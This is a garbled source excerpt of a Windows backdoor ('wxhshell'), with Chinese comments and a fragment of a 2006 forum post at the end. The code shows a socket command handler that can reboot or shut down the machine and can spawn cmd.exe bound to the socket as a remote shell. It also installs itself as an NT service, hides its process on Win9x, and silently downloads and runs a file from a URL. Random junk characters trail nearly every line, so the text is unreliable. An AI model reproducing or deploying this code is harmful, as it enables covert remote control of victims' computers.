  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y-N]{!  
  } h]pz12Yf  
  else { fs0EbVDF  
_)[UartKx  
    switch(cmd[0]) { #*X\pjZ  
  ,-[z?dvO  
  // 帮助 hGJANA  
  case '?': { KZ@'NnQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n}/4em?  
    break; M< /  
  } tn}MKo  
  // 安装 CaR-Yk   
  case 'i': { IPf>9#L  
    if(Install()) v n4z C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V6Y0#sTU  
    else CD[}|N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (nAL;:$x2  
    break; z]R%'LGu  
    } Y`rli  
  // 卸载 nt8& Mf  
  case 'r': { w|c200Is}e  
    if(Uninstall()) iF Zqoz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oi<yT"7  
    else X}H?*'-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '}$$0S.DC  
    break; 8p]9A,Uq&  
    } 9;NXzO27  
  // 显示 wxhshell 所在路径 0ZJj5<U  
  case 'p': { ($-m}UF\/  
    char svExeFile[MAX_PATH]; 2P ^x'I  
    strcpy(svExeFile,"\n\r"); iFnD`l 6)  
      strcat(svExeFile,ExeFile); qHn X)  
        send(wsh,svExeFile,strlen(svExeFile),0); <iB5&  
    break; ?[7KN8$  
    } 1>Q4&1Vn  
  // 重启 Ll .P>LH  
  case 'b': { J";4+wA7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); < n/ 2  
    if(Boot(REBOOT)) }$i/4?dYsQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9}5o> iR  
    else { VS>xvF  
    closesocket(wsh); et?FX K"y  
    ExitThread(0); wf`A&P5tF  
    } d,toUI  
    break; l=ZD&uK  
    } _@W1?;yD  
  // 关机 FLX n%/  
  case 'd': { &x7iEbRs  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F^81?F i.  
    if(Boot(SHUTDOWN)) :Iuc H%6V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OY8P  
    else { 3g3f87[  
    closesocket(wsh); W/g_XQ   
    ExitThread(0); M.+h3<%^  
    } V-eRGSx  
    break; W4UK?#S+  
    } {@6:kkd  
  // 获取shell Cz &3=),G  
  case 's': { :$0yp`k  
    CmdShell(wsh); -V-I&sO<  
    closesocket(wsh); nW}jTBu_K+  
    ExitThread(0); hfw+n<  
    break; QiK-|hFj  
  } F?[1 m2  
  // 退出 )FNn  
  case 'x': { }x+6<Rp'E_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IqiU  
    CloseIt(wsh); )/)[}wN;j  
    break; x"!`JDsS  
    } B oxtP<C"  
  // 离开 `][vaLd`Q  
  case 'q': { h ,n}=g+?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .+kg1=s  
    closesocket(wsh); S`$%C=a.  
    WSACleanup(); x-]:g&5T  
    exit(1); t+_\^Oa)  
    break; <ZheWl  
        } hz*T"HJ]t  
  } lv9Tq5C  
  } JOJuGB-d  
fp*6Dv_  
  // 提示信息 [$;cjys  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1\~I "$}  
} Va?i#<a  
  } ZZ  Hjv  
+3J<vM}dy  
  return; }0tHzw=#%e  
} 4.^T~n G  
#:By/9}-  
// shell模块句柄 xy b=7  
int CmdShell(SOCKET sock) >I/@GX/  
{ 4hc[ rN,]  
STARTUPINFO si; Np%Q-T\  
ZeroMemory(&si,sizeof(si)); K_~kL0=4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a"X h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r-go921  
PROCESS_INFORMATION ProcessInfo; l i)6^f#  
char cmdline[]="cmd"; L""ZI5J{F9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J]#rh5um  
  return 0; Z,O* p,Gzn  
} FzcXSKHV %  
0|.jIix;  
// 自身启动模式 ^b$_I31D  
int StartFromService(void) (qvH=VTwP  
{ jXLd#6  
typedef struct BGxwPJd  
{ ~^jPE)  
  DWORD ExitStatus; K1^7v}P  
  DWORD PebBaseAddress; qdn_ ZE  
  DWORD AffinityMask; xT]t3'y|-  
  DWORD BasePriority; yo/;@}g}  
  ULONG UniqueProcessId; :"MHmm=uU8  
  ULONG InheritedFromUniqueProcessId; (' 7$K  
}   PROCESS_BASIC_INFORMATION; 8lzoiA_9  
!+A%`m  
PROCNTQSIP NtQueryInformationProcess; )obgEJ7Y`l  
H`'a|Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w7.,ch  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1Acs0` 3  
rhcax%Cd  
  HANDLE             hProcess; yvj/u c  
  PROCESS_BASIC_INFORMATION pbi; <g%A2 lI  
Ln2FG4{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jLM([t  
  if(NULL == hInst ) return 0; l)*(UZ"  
|Q%P4S"B?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V:'F_/&X?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q)L4*O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LXh }U>a9  
sYBmL]Hr  
  if (!NtQueryInformationProcess) return 0; n@xQ-v  
nq HpYb6I0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bXvO+I<  
  if(!hProcess) return 0; `-.2Z 0  
pB\:.?.pd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DqT<bNR1*;  
Y(bB7tR  
  CloseHandle(hProcess); r'j88)^  
2H}y1bkW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vj9X6u}{  
if(hProcess==NULL) return 0; \c CH/  
(;;ji!i  
HMODULE hMod; ;b*qunJ3L  
char procName[255]; fs 2MYat  
unsigned long cbNeeded; l=p_  
4NW!{Vw ,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KD ,3U/ 3  
# :k=  
  CloseHandle(hProcess); _%=CW' B  
3a.!9R>  
if(strstr(procName,"services")) return 1; // 以服务启动 \? )S {  
c0'ryS_Z9  
  return 0; // 注册表启动 D<d, 9S,)  
} 8 5X}CCQ  
lUB?eQuN_  
// 主模块 &`@YdZtd"  
int StartWxhshell(LPSTR lpCmdLine) D\&S {  
{ 84.L1|k  
  SOCKET wsl; Mq)]2>"v  
BOOL val=TRUE; (87| :{  
  int port=0; RW+u5Y  
  struct sockaddr_in door; I51]+gEN  
#i@f%Bq-  
  if(wscfg.ws_autoins) Install(); myR{ }G  
S xJ&5q  
port=atoi(lpCmdLine); A~PR  
TT/H"Ri}Jp  
if(port<=0) port=wscfg.ws_port; tngB;9c+w  
n}.e(z_"  
  WSADATA data; Hs'~) T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n H?6o#]N  
\hgd&H0UU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P0}{xq'k9v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =yZq]g6Q  
  door.sin_family = AF_INET; :vb5J33U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wDh]vH[  
  door.sin_port = htons(port); iW(LD1~7  
.)b<cH~%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Sp5:R75vI  
closesocket(wsl); 5m 0\ls\  
return 1; 1#6emMV.`  
} H?];8wq$G  
d,Aa8I  
  if(listen(wsl,2) == INVALID_SOCKET) { L? DlR hu  
closesocket(wsl); 9=ygkPY  
return 1; $ ubU"  
} kZz'&xdv'.  
  Wxhshell(wsl); 7-K8u  
  WSACleanup(); NUYKMo1ze  
(Of6Ij?  
return 0; W+!UVUpW  
AE}cHBwZE  
} l;_IH|A  
7j\^h2  
// 以NT服务方式启动 HK/WO jr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g77M5(ME  
{ 49Jnp>h  
DWORD   status = 0; = 0d|F 8  
  DWORD   specificError = 0xfffffff; n8<?<-2  
[[IMf-]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Pl/ dUt_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c EYHB1*cT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gn8 sB  
  serviceStatus.dwWin32ExitCode     = 0; _GG\SWm  
  serviceStatus.dwServiceSpecificExitCode = 0; 9Vm1q!lE  
  serviceStatus.dwCheckPoint       = 0; ][S q^5`  
  serviceStatus.dwWaitHint       = 0; 6XWNJb  
4-.K<-T%D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d=xjLbsZ  
  if (hServiceStatusHandle==0) return; 1z8"Gk6  
7yfh4-1M  
status = GetLastError(); !l0]IX` F  
  if (status!=NO_ERROR) E)$>t}$  
{ *I(6hB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Mqd'XU0L  
    serviceStatus.dwCheckPoint       = 0; I@KM2 KMN  
    serviceStatus.dwWaitHint       = 0; g4h{dFb|_  
    serviceStatus.dwWin32ExitCode     = status; oN,1ig  
    serviceStatus.dwServiceSpecificExitCode = specificError; \~hrS/$[$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PK2;Ywk`  
    return; pr#%VM[':R  
  } SUUNC06V  
VhkM{O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tr<f ii 3<  
  serviceStatus.dwCheckPoint       = 0; 1p. c6[9 -  
  serviceStatus.dwWaitHint       = 0; }:IIk-JoC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *,$5EN  
} N@c G jpQ  
y8~OkdlN#  
// 处理NT服务事件,比如:启动、停止 Xk4wU$1F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O%T?+1E  
{ R!j#  
switch(fdwControl) ;Sivu-%  
{ T/'z,,Y  
case SERVICE_CONTROL_STOP: ,>-D xS  
  serviceStatus.dwWin32ExitCode = 0; A7X a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {}YA7M:L  
  serviceStatus.dwCheckPoint   = 0; ,' | J  
  serviceStatus.dwWaitHint     = 0; #<*.{"T  
  { %b^4XTz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uB  I/3aQ  
  } :8)Jnh\5  
  return; oPmz$]_Z  
case SERVICE_CONTROL_PAUSE: ^+P.f[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ST?{H SCz  
  break; eC!=4_lx)  
case SERVICE_CONTROL_CONTINUE: >.Gmu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [MpWvLP"x  
  break; ^!\1q<@n  
case SERVICE_CONTROL_INTERROGATE: U*C^g}iA  
  break; :|W=2( >  
}; A'jvm@DvQI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |jiIx5qr  
} \AwkK3  
unFRfec{  
// 标准应用程序主函数 ;TJpD0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UOZ+ &DL,L  
{ \t!~s^Oox  
]<^2B?}  
// 获取操作系统版本 KmNnW1T  
OsIsNt=GetOsVer(); v?VDASR2`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A r!0GwE+  
,4Q4{Tx  
  // 从命令行安装 ?62Im^1/  
  if(strpbrk(lpCmdLine,"iI")) Install(); H'k}/<%Q  
9 -pt}U  
  // 下载执行文件 `<nxXsLe  
if(wscfg.ws_downexe) { |}4\Gm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V?M (exN  
  WinExec(wscfg.ws_filenam,SW_HIDE); BY~Tc5  
} kkjugm{D7  
3mHzOs\jU  
if(!OsIsNt) { %V>%AP  
// 如果时win9x,隐藏进程并且设置为注册表启动 lI?P_2AaS  
HideProc(); MZV$YD^S  
StartWxhshell(lpCmdLine); x4* bhiu  
} +.!D>U$)}  
else a$=~1@  
  if(StartFromService()) fbh,V%t7  
  // 以服务方式启动 NT+.E[J6  
  StartServiceCtrlDispatcher(DispatchTable); =^KgNQ   
else |6 Q5bV  
  // 普通方式启动 8* A%k1+  
  StartWxhshell(lpCmdLine); v@=qVwX  
/JS_gr@DK  
return 0; S9Sgd&a9  
}
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只看该作者 1 发表于: 2006-10-10
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